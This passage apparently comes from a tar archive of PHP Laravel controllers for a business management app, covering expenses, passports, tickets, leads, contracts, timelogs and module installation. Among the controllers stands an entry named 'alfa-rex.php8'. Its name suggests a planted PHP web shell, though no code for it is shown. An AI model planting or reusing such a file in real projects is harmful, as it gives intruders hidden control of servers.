(!isset($prices[$expense->date])) { $prices[$expense->date] = 0; } $prices[$expense->date] += $expense->default_currency_price; } $dates = array_keys($prices); $graphData = array(); foreach ($dates as $date) { $graphData[] = [ 'date' => $date, 'total' => isset($prices[$date]) ? round($prices[$date], 2) : 0, ]; } usort($graphData, function ($a, $b) { $t1 = strtotime($a['date']); $t2 = strtotime($b['date']); return $t1 - $t2; }); $graphData = collect($graphData); $data['labels'] = $graphData->pluck('date')->toArray(); $data['values'] = $graphData->pluck('total')->toArray(); $totalExpense = $graphData->sum('total'); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('modules.dashboard.totalExpenses'); $this->chartData = $data; // Expense report end // Expense category report start $startDate = ($request->startDate == null) ? null : now($this->company->timezone)->startOfMonth()->toDateString(); $endDate = ($request->endDate == null) ? null : now($this->company->timezone)->toDateString(); $expenseCategoryId = ExpensesCategory::join('expenses', 'expenses_category.id', '=', 'expenses.category_id') ->where('expenses.status', 'approved') ->where('expenses.category_id', '!=', null); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $expenses = $expenseCategoryId->where(DB::raw('DATE(expenses.`purchase_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $expenses = $expenseCategoryId->where(DB::raw('DATE(expenses.`purchase_date`)'), '<=', $endDate); } if ($request->employeeID != 'all' && !is_null($request->employeeID)) { $expenseCategoryId = $expenseCategoryId->where('expenses.user_id', $request->employeeID); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $expenseCategoryId = $expenseCategoryId->where('expenses.project_id', $request->projectID); } $expenseCategoryId = $expenseCategoryId->distinct('expenses.category_id')->selectRaw('expenses.category_id as id')->pluck('id')->toArray(); $categories = ExpensesCategory::whereIn('id', $expenseCategoryId)->get(); if ($request->categoryID != 'all' && !is_null($request->categoryID)) { $categories = $categories->where('id', $request->categoryID); } $barData['labels'] = $categories->pluck('category_name'); $barData['name'] = __('modules.reports.totalCategories'); $barData['colors'] = [$this->appTheme->header_color]; $barData['values'] = []; foreach ($categories as $category) { /** @phpstan-ignore-next-line */ $category_id = isset($category->id) ? $category->id : $category->category_id; if ($startDate && $endDate != null) { $barData['values'][] = Expense::where('category_id', $category_id)->whereBetween(DB::raw('DATE(`purchase_date`)'), [$startDate, $endDate])->count(); } else{ $barData['values'][] = Expense::where('category_id', $category_id)->count(); } } $this->barChartData = $barData; // Expense category report end $html = view('reports.expense.chart', $this->data)->render(); /* Expense report view */ $html2 = view('reports.expense.bar_chart', $this->data)->render(); /* Expense Category report view */ return Reply::dataOnly(['status' => 'success', 'html' => $html,'html2' => $html2, 'title' => $this->pageTitle, 'totalExpenses' => currency_format($totalExpense, company()->currency_id)]); } public function expenseCategoryReport() { abort_403(user()->permission('view_expense_report') != 'all'); $dataTable = new ExpenseCategoryReportDataTable(); $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->categories = ExpensesCategory::get(); return $dataTable->render('reports.expense.expense-category-report', $this->data); } } Http/Controllers/PassportController.php000064400000005126150325104510014361 0ustar00countries = countries(); return view('employees.ajax.create-passport-modal', $this->data); } public function store(StorePassportRequest $request) { $userId = request()->emp_id; $passport = new Passport(); $passport->passport_number = $request->passport_number; $passport->user_id = $userId; $passport->company_id = company()->id; $passport->issue_date = companyToYmd($request->issue_date); $passport->expiry_date = companyToYmd($request->expiry_date); $passport->added_by = user()->id; $passport->country_id = $request->nationality; if ($request->hasFile('file')) { $passport->file = Files::uploadLocalOrS3($request->file, Passport::FILE_PATH); } $passport->save(); return Reply::success(__('messages.recordSaved')); } public function edit($id) { $this->countries = countries(); $this->passport = Passport::findOrFail($id); return view('employees.ajax.edit-passport-modal', $this->data); } public function update(UpdatePassportRequest $request, $id) { $passport = Passport::findOrFail($id); $passport->passport_number = $request->passport_number; $passport->issue_date = companyToYmd($request->issue_date); $passport->expiry_date = companyToYmd($request->expiry_date); $passport->country_id = $request->nationality; if($request->file_delete == 'yes') { Files::deleteFile($passport->file, Passport::FILE_PATH); $passport->file = null; } if ($request->hasFile('file')) { Files::deleteFile($passport->file, Passport::FILE_PATH); $passport->file = Files::uploadLocalOrS3($request->file, Passport::FILE_PATH); } $passport->save(); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $passport = Passport::findOrFail($id); Files::deleteFile($passport->file, Passport::FILE_PATH); $passport->destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/TicketFileController.php000064400000004254150325104510014572 0ustar00hasFile('file')) { $replyId = $request->ticket_reply_id; if ($request->ticket_reply_id == '') { $reply = new TicketReply(); $reply->ticket_id = $request->ticket_id; $reply->user_id = $this->user->id; // Current logged in user $reply->type = $request->type; $reply->added_by = user()->id; $reply->save(); $replyId = $reply->id; } foreach ($request->file as $fileData) { $file = new TicketFile(); $file->ticket_reply_id = $replyId; $filename = Files::uploadLocalOrS3($fileData, TicketFile::FILE_PATH . '/' . $replyId); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } return Reply::dataOnly(['status' => 'success']); } /** * @param Request $request * @param int $id * @return array */ public function destroy(Request $request, $id) { TicketFile::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function show($id) { $file = TicketFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->filepath = $file->file_url; return view('tasks.files.view', $this->data); } /** * @param mixed $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse|\Symfony\Component\HttpFoundation\StreamedResponse */ public function download($id) { $file = TicketFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); return download_local_s3($file, 'ticket-files/' . $file->ticket_reply_id . '/' . $file->hashname); } } Http/Controllers/LeadCategoyController.php000064400000006313150325104510014726 0ustar00permission('add_lead_category'); abort_403(!in_array($viewPermission, ['all', 'added'])); $this->categories = LeadCategory::all(); return view('lead-settings.create-category-modal', $this->data); } /** * @param StoreLeadCategory $request * @return array|void */ public function store(StoreLeadCategory $request) { $viewPermission = user()->permission('add_lead_category'); abort_403(!in_array($viewPermission, ['all', 'added'])); $category = new LeadCategory(); $category->category_name = $request->category_name; $category->save(); $categoryData = LeadCategory::all(); $list = ''; foreach ($categoryData as $item) { $list .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $list]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->category = LeadCategory::findOrFail($id); $this->editPermission = user()->permission('edit_lead_category'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->category->added_by == user()->id))); return view('lead-settings.edit-category-modal', $this->data); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $category = LeadCategory::findOrFail($id); $this->editPermission = user()->permission('edit_lead_category'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->category->added_by == user()->id))); $category->category_name = $request->category_name; $category->save(); $categoryData = LeadCategory::all(); return Reply::successWithData(__('messages.recordSaved'), ['data' => $categoryData]); } /** * Remove the specified resource from storage. * * @param int $id * @return array */ public function destroy($id) { $category = LeadCategory::findOrFail($id); $this->deletePermission = user()->permission('delete_lead_category'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $category->added_by == user()->id))); LeadCategory::destroy($id); $categoryData = LeadCategory::all(); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $categoryData]); } } Http/Controllers/LeadPipelineSettingController.php000064400000006075150325104510016443 0ustar00middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { $this->pipelines = LeadPipeline::all(); return view('lead-settings.create-pipeline-modal', $this->data); } /** * @param StoreLeadStatus $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreLeadPipeline $request) { $maxPriority = LeadPipeline::max('priority'); $pipeline = new LeadPipeline(); $pipeline->name = $request->name; $pipeline->label_color = $request->label_color; $pipeline->added_by = user()->id; $pipeline->save(); return Reply::success(__('messages.recordSaved')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->pipeline = LeadPipeline::findOrFail($id); $this->maxPriority = LeadPipeline::max('priority'); return view('lead-settings.edit-pipeline-modal', $this->data); } /** * @param UpdateLeadStatus $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateLeadPipeline $request, $id) { $pipeline = LeadPipeline::findOrFail($id); $pipeline->name = $request->name; $pipeline->label_color = $request->label_color; $pipeline->save(); return Reply::success(__('messages.updateSuccess')); } public function statusUpdate($id) { $allLeadSPipelines = LeadPipeline::select('id', 'default')->get(); foreach($allLeadSPipelines as $pipeline){ if($pipeline->id == $id){ $pipeline->default = '1'; } else{ $pipeline->default = '0'; } $pipeline->save(); } return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { Deal::where('lead_pipeline_id', $id)->delete(); PipelineStage::where('lead_pipeline_id', $id)->delete(); LeadPipeline::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/ContractRenewController.php000064400000010745150325104510015327 0ustar00pageTitle = 'app.menu.contracts'; $this->middleware(function ($request, $next) { abort_403(!in_array('contracts', $this->user->modules)); return $next($request); }); } public function store(RenewRequest $request) { $id = $request->contract_id; $contract = Contract::findOrFail($id); $contractRenew = new ContractRenew(); $contractRenew->amount = $request->amount; $contractRenew->renewed_by = $this->user->id; $contractRenew->contract_id = $id; $contractRenew->start_date = companyToYmd($request->start_date); $contractRenew->end_date = companyToYmd($request->end_date); $contractRenew->save(); if (!$request->keep_customer_signature) { ContractSign::where('contract_id', $contract->id)->delete(); } $contract->amount = $contractRenew->amount; $contract->start_date = $contractRenew->start_date; $contract->end_date = $contractRenew->end_date; $contract->save(); $this->contract = Contract::with('signature', 'client', 'client.clientDetails', 'files', 'renewHistory', 'renewHistory.renewedBy')->findOrFail($id); $view = view('contracts.renew.renew_history', $this->data)->render(); return Reply::successWithData(__('messages.contractRenewSuccess'), ['view' => $view]); } public function edit($id) { $this->renew = ContractRenew::findOrFail($id); $this->editPermission = user()->permission('edit_contract'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->renew->added_by == user()->id))); return view('contracts.renew.edit', $this->data); } /** * @param Request $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(Request $request, $id) { $contractRenew = ContractRenew::findOrFail($id); $contractRenew->amount = $request->amount; $contractRenew->start_date = companyToYmd($request->start_date); $contractRenew->end_date = companyToYmd($request->end_date); $contractRenew->save(); $this->contract = Contract::with('signature', 'client', 'client.clientDetails', 'files', 'renewHistory', 'renewHistory.renewedBy')->findOrFail($contractRenew->contract_id); $view = view('contracts.renew.renew_history', $this->data)->render(); return Reply::successWithData(__('messages.contractRenewSuccess'), ['view' => $view]); } /** * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function destroy($id) { $contractRenew = $this->renew = ContractRenew::findOrFail($id); $this->deletePermission = user()->permission('delete_contract'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->renew->added_by == user()->id))); $findNext = ContractRenew::where('created_at', '>', $contractRenew->created_at)->first(); if (!$findNext) { $findPrevious = ContractRenew::where('created_at', '<', $contractRenew->created_at)->latest()->first(); $contract = Contract::findOrFail($contractRenew->contract_id); if ($findPrevious) { $contract->start_date = $findPrevious->start_date; $contract->end_date = $findPrevious->end_date; $contract->amount = $findPrevious->amount; } else { $contract->start_date = $contract->original_start_date; $contract->end_date = $contract->original_end_date; $contract->amount = $contract->original_amount; } $contract->save(); } ContractRenew::destroy($id); $this->contract = Contract::with('renewHistory', 'renewHistory.renewedBy')->findOrFail($this->renew->contract_id); $view = view('contracts.renew.renew_history', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } } Http/Controllers/alfa-rex.php8000064400000026574150325104510012303 0ustar00Http/Controllers/ProductFileController.php000064400000005702150325104510014766 0ustar00pageIcon = 'icon-people'; $this->pageTitle = 'app.menu.product'; } /** * @param Request $request * @return array * @throws \GuzzleHttp\Exception\GuzzleException * @throws \Throwable */ public function store(Request $request) { if ($request->hasFile('file')) { $defaultImage = null; foreach ($request->file as $fileData) { $file = new ProductFiles(); $file->product_id = $request->product_id; $filename = Files::uploadLocalOrS3($fileData, ProductFiles::FILE_PATH); $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); if ($fileData->getClientOriginalName() == $request->default_image) { $defaultImage = $filename; } } $product = Product::findOrFail($request->product_id); $product->default_image = $defaultImage; $product->save(); } return Reply::success(__('messages.fileUploaded')); } public function updateImages(Request $request) { $defaultImage = null; if ($request->hasFile('file')) { foreach ($request->file as $file) { $productFile = new ProductFiles(); $productFile->product_id = $request->product_id; $filename = Files::uploadLocalOrS3($file, 'products'); $productFile->filename = $file->getClientOriginalName(); $productFile->hashname = $filename; $productFile->size = $file->getSize(); $productFile->save(); if ($productFile->filename == $request->default_image) { $defaultImage = $filename; } } } $product = Product::findOrFail($request->product_id); $product->default_image = $defaultImage ?: $request->default_image; $product->save(); return Reply::success(__('messages.fileUploaded')); } /** * @param Request $request * @param int $id * @return array|void */ public function destroy(Request $request, $id) { ProductFiles::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function download($id) { $file = ProductFiles::findOrFail($id); return download_local_s3($file, ProductFiles::FILE_PATH . '/' . $file->hashname); } } Http/Controllers/ProjectTimelogBreakController.php000064400000006054150325104510016443 0ustar00middleware(function ($request, $next) { abort_403(!in_array('timelogs', $this->user->modules)); return $next($request); }); } public function edit($id) { $this->timelogBreak = ProjectTimeLogBreak::findOrFail($id); return view('timelog-break.edit', $this->data); } public function update(UpdateTimelogBreak $request, $id) { $timeLogBreak = ProjectTimeLogBreak::findOrfail($id); $timeLog = ProjectTimeLog::findOrFail($timeLogBreak->project_time_log_id); $editTimelogPermission = user()->permission('edit_timelogs'); abort_403(!( $editTimelogPermission == 'all' || ($editTimelogPermission == 'added' && $timeLog->added_by == user()->id) || ($editTimelogPermission == 'owned' && (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id) ) || ($editTimelogPermission == 'both' && (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id || $timeLog->added_by == user()->id)) )); $startTime = Carbon::parse($request->start_time)->format('Y-m-d') . ' ' . Carbon::parse($request->start_time)->format('H:i:s'); $startTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTime, $this->company->timezone)->setTimezone('UTC'); $endTime = Carbon::parse($request->end_time)->format('Y-m-d') . ' ' . Carbon::parse($request->end_time)->format('H:i:s'); $endTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTime, $this->company->timezone)->setTimezone('UTC'); $timeLogBreak->start_time = $startTime->format('Y-m-d H:i:s'); $timeLogBreak->end_time = $endTime->format('Y-m-d H:i:s'); $timeLogBreak->total_hours = $endTime->diffInHours($startTime); $timeLogBreak->total_minutes = $endTime->diffInMinutes($timeLogBreak->start_time); $timeLogBreak->save(); // Calculate total minutes worked during the break $totalMinutesWorked = $timeLog->total_minutes - $timeLogBreak->total_minutes; // Determine hourly rate (replace this with your actual logic) $hourlyRate = $timeLog->hourly_rate; // Example hourly rate // Calculate earnings $earnings = ($hourlyRate * $totalMinutesWorked) / 60; // Convert minutes to hours and multiply by hourly rate // Update earnings column in the database $timeLog->earnings = $earnings; $timeLog->saveQuietly(); return Reply::success(__('messages.updateSuccess')); } public function destroy($id) { ProjectTimeLogBreak::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/EmergencyContactController.php000064400000011213150325104510015772 0ustar00pageTitle = __('app.addContact'); $this->userId = request()->user_id ? request()->user_id : null; return view('profile-settings.emergency-contacts.create', $this->data)->render(); } public function store(StoreEmergencyContactRequest $request) { $emergencyContact = new EmergencyContact(); $emergencyContact->user_id = !is_null($request->user_id) ? $request->user_id : user()->id; $emergencyContact->name = $request->name; $emergencyContact->mobile = $request->mobile; $emergencyContact->email = $request->email; $emergencyContact->relation = $request->relationship; $emergencyContact->address = $request->address; $emergencyContact->added_by = user()->id; $emergencyContact->save(); $this->contacts = EmergencyContact::where('user_id', $emergencyContact->user_id)->get(); $html = view('profile-settings.emergency-contacts.data', $this->data)->render(); return Reply::successWithData(__('messages.employeeEmergencyContact'), ['html' => $html]); } /** * Display the specified resource. * * @param \App\Models\EmergencyContact $emergencyContact * @return \Illuminate\Http\Response */ public function show(EmergencyContact $emergencyContact) { $this->managePermission = user()->permission('manage_emergency_contact'); abort_403 ( !($this->managePermission == 'all' || ($emergencyContact->added_by == user()->id) || ($emergencyContact->user_id == user()->id) ) ); $this->pageTitle = __('modules.emergencyContact.emergencyContact'); $this->contact = $emergencyContact; return view('profile-settings.emergency-contacts.show', $this->data)->render(); } /** * Show the form for editing the specified resource. * * @param \App\Models\EmergencyContact $emergencyContact * @return \Illuminate\Http\Response */ public function edit(EmergencyContact $emergencyContact) { $this->managePermission = user()->permission('manage_emergency_contact'); abort_403 ( !($this->managePermission == 'all' || ($emergencyContact->added_by == user()->id) || ($emergencyContact->user_id == user()->id) ) ); $this->pageTitle = __('app.editContact'); $this->contact = $emergencyContact; return view('profile-settings.emergency-contacts.edit', $this->data)->render(); } public function update(StoreEmergencyContactRequest $request, EmergencyContact $emergencyContact) { $this->managePermission = user()->permission('manage_emergency_contact'); abort_403 ( !($this->managePermission == 'all' || ($emergencyContact->added_by == user()->id) || ($emergencyContact->user_id == user()->id) ) ); $emergencyContact->name = $request->name; $emergencyContact->mobile = $request->mobile; $emergencyContact->email = $request->email; $emergencyContact->relation = $request->relationship; $emergencyContact->address = $request->address; $emergencyContact->last_updated_by = user()->id; $emergencyContact->save(); $this->contacts = EmergencyContact::where('user_id', $emergencyContact->user_id)->get(); $html = view('profile-settings.emergency-contacts.data', $this->data)->render(); return Reply::successWithData(__('messages.employeeEmergencyContact'), ['html' => $html]); } /** * Remove the specified resource from storage. * * @param \App\Models\EmergencyContact $emergencyContact * @return \Illuminate\Http\Response */ public function destroy(EmergencyContact $emergencyContact) { $this->managePermission = user()->permission('manage_emergency_contact'); abort_403 ( !($this->managePermission == 'all' || ($emergencyContact->added_by == user()->id) || ($emergencyContact->user_id == user()->id) ) ); $emergencyContact->delete(); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('profile-settings.index').'?tab=emergency-contacts']); } } Http/Controllers/CustomModuleController.php000064400000026065150325104510015173 0ustar00pageTitle = 'app.menu.moduleSettings'; $this->activeSettingMenu = 'module_settings'; $this->middleware(function ($request, $next) { abort_403(!user()->hasRole('admin')); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function index() { $this->type = 'custom'; $this->updateFilePath = config('froiden_envato.tmp_path'); /** @phpstan-ignore-next-line */ $this->allModules = Module::toCollection()->filter(function ($module, $key) { return $key !== 'UniversalBundle'; }); /** @phpstan-ignore-next-line */ $this->universalBundle = Module::find('UniversalBundle'); $this->view = 'custom-modules.ajax.custom'; $this->activeTab = 'custom'; $this->plugins = collect(EnvatoUpdate::plugins()); if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('module-settings.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { $this->pageTitle = 'app.menu.moduleSettingsInstall'; $this->type = 'custom'; $this->updateFilePath = config('froiden_envato.tmp_path'); return view('custom-modules.install', $this->data); } /** * @param Request $request * @return array * @throws \Exception */ public function store(Request $request) { if (!extension_loaded('zip')) { return Reply::error('PHP-ZIP extension is missing on your server. Please install the extension.'); } File::put(public_path() . '/install-version.txt', 'complete'); $filePath = $request->filePath; $zip = Zip::open($filePath); $zipName = $this->getZipName($filePath); // Extract the files to storage folder first for checking the right plugin // Filename Like codecanyon-0gOuGKoY-zoom-meeting-module-for-worksuite.zip if (str_contains($zipName, 'codecanyon-')) { $zipName = $this->unzipCodecanyon($zip); } else { $zip->extract(storage_path('app') . '/Modules'); } $moduleName = str_replace('.zip', '', $zipName); $validateModule = $this->validateModule($moduleName); if ($validateModule['status'] == true) { // Move files to Modules if modules belongs to this product File::moveDirectory(storage_path('app') . '/Modules/' . $moduleName, base_path() . '/Modules/' . $moduleName, true); cache()->forget('laravel-modules'); // Delete Modules Directory after moving files File::deleteDirectory(storage_path('app') . '/Modules/'); if (module_enabled($moduleName)) { $this->updateVersion($moduleName); } // if module is universal bundle module then activate the module if ($moduleName == 'UniversalBundle') { /** @phpstan-ignore-next-line */ $module = Module::findOrFail($moduleName); $module->enable(); Artisan::call('module:migrate', array($moduleName, '--force' => true)); event(new ModuleStatusChanged($module, 'active')); } $this->flushData(); return Reply::success('Installed successfully.'); } return Reply::error($validateModule['message']); } public function validateModule($moduleName) { $appName = str_replace('-new', '', config('froiden_envato.envato_product_name')); $wrongMessage = 'The zip that you are trying to install is not compatible with ' . $appName . ' version'; // Check if PHP-ZIP extension is missing if (!extension_loaded('zip')) { return [ 'status' => false, 'message' => 'PHP-ZIP extension is missing on your server. Please install the extension.' ]; } $configPath = storage_path('app') . '/Modules/' . $moduleName . '/Config/config.php'; // Check if module configuration file exists if (!file_exists($configPath)) { return [ 'status' => false, 'message' => $wrongMessage ]; } $config = require_once $configPath; // Check if parent_envato_id is defined and matches the application's envato_id if (!isset($config['parent_envato_id']) || $config['parent_envato_id'] !== config('froiden_envato.envato_item_id')) { return [ 'status' => false, 'message' => 'You are installing the wrong module for this product' ]; } // Parent envato id is different from module envato id if ($config['parent_envato_id'] !== config('froiden_envato.envato_item_id')) { return [ 'status' => false, 'message' => 'You are installing wrong module for this product' ]; } // Check if parent_min_version is defined if (!isset($config['parent_min_version'])) { $errorMessage = App::environment('codecanyon') ? 'Please download and install the latest version of the module.' : 'Minimum version of ' . $appName . ' main application is not defined in the Module.'; return [ 'status' => false, 'message' => $errorMessage ]; } // Check if the application version is lower than the required minimum version if ($config['parent_min_version'] >= File::get('version.txt')) { return [ 'status' => false, 'message' => 'Minimum version of ' . $appName . ' main application should be greater than or equal to ' . $config['parent_min_version'] . '. Your application version is ' . File::get('version.txt') . '' ]; } // Check if parent_product_name is defined and matches the application's product name if (!isset($config['parent_product_name']) || $config['parent_product_name'] !== config('froiden_envato.envato_product_name')) { return [ 'status' => false, 'message' => $wrongMessage ]; } return [ 'status' => true, 'message' => 'Unzipped successfully' ]; } private function flushData() { Artisan::call('optimize:clear'); Artisan::call('view:clear'); $user = auth()->id(); // clear cache cache()->flush(); // clear session session()->flush(); auth()->logout(); // login user auth()->loginUsingId($user); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function show($id) { return $this->verifyModulePurchase($id); } public function update(Request $request, $moduleName) { /** @phpstan-ignore-next-line */ $module = Module::findOrFail($moduleName); $status = $request->status; ModuleSetting::where('module_name', $moduleName)->delete(); ($status == 'active') ? $module->enable() : $module->disable(); event(new ModuleStatusChanged($moduleName, $status)); // We are registering the module to run the commands $module->register(); if ($status == 'active') { $this->runModuleMigrateCommand($moduleName); // We will call the module function php artisan asset:activate, zoom:active , etc $this->runActivateCommand(strtolower($moduleName)); } $this->flushData(); if (strtolower($moduleName) == 'languagepack' && $status == 'active') { session(['languagepack_module_activated' => true]); } return Reply::redirect(route('custom-modules.index') . '?tab=custom', 'Status Changed. Reloading'); } public function verifyingModulePurchase(Request $request) { $request->validate([ 'purchase_code' => 'required|max:80', ]); $module = $request->module; $purchaseCode = $request->purchase_code; return $this->modulePurchaseVerified($module, $purchaseCode); } /** * @throws \Exception */ private function unzipCodecanyon($zip) { $codeCanyonPath = storage_path('app') . '/Modules/Codecanyon'; $zip->extract($codeCanyonPath); $files = File::allfiles($codeCanyonPath); foreach ($files as $file) { if (str_contains($file->getRelativePathname(), '.zip')) { $filePath = $file->getRelativePathname(); $zip = Zip::open($codeCanyonPath . '/' . $filePath); $zip->extract(storage_path('app') . '/Modules'); return $this->getZipName($filePath); } } return false; } private function getZipName($filePath) { $array = explode('/', str_replace('\\', '/', $filePath)); return end($array); } /** * @param $moduleName * This will update the version of on server */ private function updateVersion($moduleName) { try { $config = require base_path() . '/Modules/' . $moduleName . '/Config/config.php'; $setting = (new $config['setting'])::first(); // When module migrations are not run if ($setting?->purchase_code) { $this->modulePurchaseVerified(strtolower($moduleName), $setting->purchase_code); } } catch (\Exception $e) { logger($e->getMessage()); } } private function runModuleMigrateCommand($moduleName) { Artisan::call('module:migrate', [$moduleName, '--force' => true]); } private function runActivateCommand($moduleName) { $command = $moduleName . ':activate'; $artisanCommands = \Artisan::all(); if (array_has($artisanCommands, $command)) { Artisan::call($command); } } } Http/Controllers/ProjectCalendarController.php000064400000013151150325104510015603 0ustar00pageTitle = 'app.menu.projectCalendar'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $viewPermission = user()->permission('view_projects'); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); $this->allEmployees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); } $this->categories = ProjectCategory::all(); $this->departments = Team::all(); $this->projectStatus = ProjectStatusSetting::where('status', 'active')->get(); if ($request->start && $request->end) { $startDate = Carbon::parse($request->start)->format('Y-m-d'); $endDate = Carbon::parse($request->end)->format('Y-m-d'); if ($startDate !== null && $endDate !== null) { $model = Project::where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(projects.`deadline`)'), [$startDate, $endDate]); $q->orWhereBetween(DB::raw('DATE(projects.`start_date`)'), [$startDate, $endDate]); $q->orWhere(function ($q1) use ($startDate, $endDate) { $q1->where('projects.start_date', '<=', $startDate) ->where('projects.deadline', '>=', $endDate); return $q1; }); }); } if (!is_null($request->categoryId) && $request->categoryId != 'all') { $model->where('category_id', $request->categoryId); } if ($request->pinned == 'pinned') { $model->join('pinned', 'pinned.project_id', 'projects.id'); $model->where('pinned.user_id', user()->id); } if (!is_null($request->employeeId) && $request->employeeId != 'all') { $model->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->selectRaw('projects.id, projects.project_short_code, projects.hash, projects.added_by, projects.project_name, projects.start_date, projects.deadline, projects.client_id, projects.completion_percent, projects.project_budget, projects.currency_id, projects.status'); $model->where('project_members.user_id', $request->employeeId); } if (!is_null($request->teamId) && $request->teamId != 'all') { $model->where('team_id', $request->teamId); } if (!is_null($request->clientID) && $request->clientID != 'all') { $model->where('projects.client_id', $request->clientID); } if (!is_null($request->status) && $request->status != 'all') { if ($request->status == 'overdue') { $model->where('projects.completion_percent', '!=', 100); if ($request->deadLineStartDate == '' && $request->deadLineEndDate == '') { $model->whereDate('projects.deadline', '<', now(company()->timezone)->toDateString()); } } else { $model->where('projects.status', $request->status); } } if ($request->progress) { $progressData = explode(',', $request->progress); $model->where(function ($q) use ($progressData) { foreach ($progressData as $progress) { $completionPercent = explode('-', $progress); $q->orWhereBetween('projects.completion_percent', [$completionPercent[0], $completionPercent[1]]); } }); } if ($request->searchText != '') { $model->where(function ($query) use($request) { $query->where('projects.project_name', 'like', '%' . $request->searchText . '%') ->orWhere('projects.project_short_code', 'like', '%' . $request->searchText . '%'); // project short code }); } $model = $model->get(); $projectData = []; foreach ($model as $key => $value) { $projectStatus = ProjectStatusSetting::where('status_name', $value->status)->first(); $projectData[] = [ 'id' => $value->id, 'title' => $value->project_name, 'start' => $value->start_date->format('Y-m-d'), 'end' => (!is_null($value->deadline) ? $value->deadline->format('Y-m-d') : $value->start_date->format('Y-m-d')), 'color' => isset($projectStatus->color) ? $projectStatus->color : '#00b5ff' ]; } return $projectData; } return view('projects.calendar', $this->data); } } Http/Controllers/ContractTemplateController.php000064400000012506150325104510016017 0ustar00pageTitle = 'app.menu.contractTemplate'; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(ContractTemplatesDataTable $dataTable) { abort_403(user()->permission('manage_contract_template') == 'none'); $this->contractTypes = ContractType::all(); $this->contractCounts = Contract::count(); return $dataTable->render('contract-template.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->contractId = request('id'); $this->contract = null; if ($this->contractId != '') { $this->contract = ContractTemplate::findOrFail($this->contractId); } $this->clients = User::allClients(); $this->contractTypes = ContractType::all(); $this->currencies = Currency::all(); $this->pageTitle = __('app.menu.addContractTemplate'); $this->view = 'contract-template.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('contract-template.create', $this->data); } public function store(StoreContractTemplate $request) { $contract = new ContractTemplate(); $contract->subject = $request->subject; $contract->amount = $request->amount; $contract->currency_id = $request->currency_id; $contract->contract_type_id = $request->contract_type; $contract->description = trim_editor($request->description); $contract->contract_detail = trim_editor($request->description); $contract->added_by = user()->id; $contract->save(); return Reply::redirect(route('contract-template.index'), __('messages.recordSaved')); } /** * 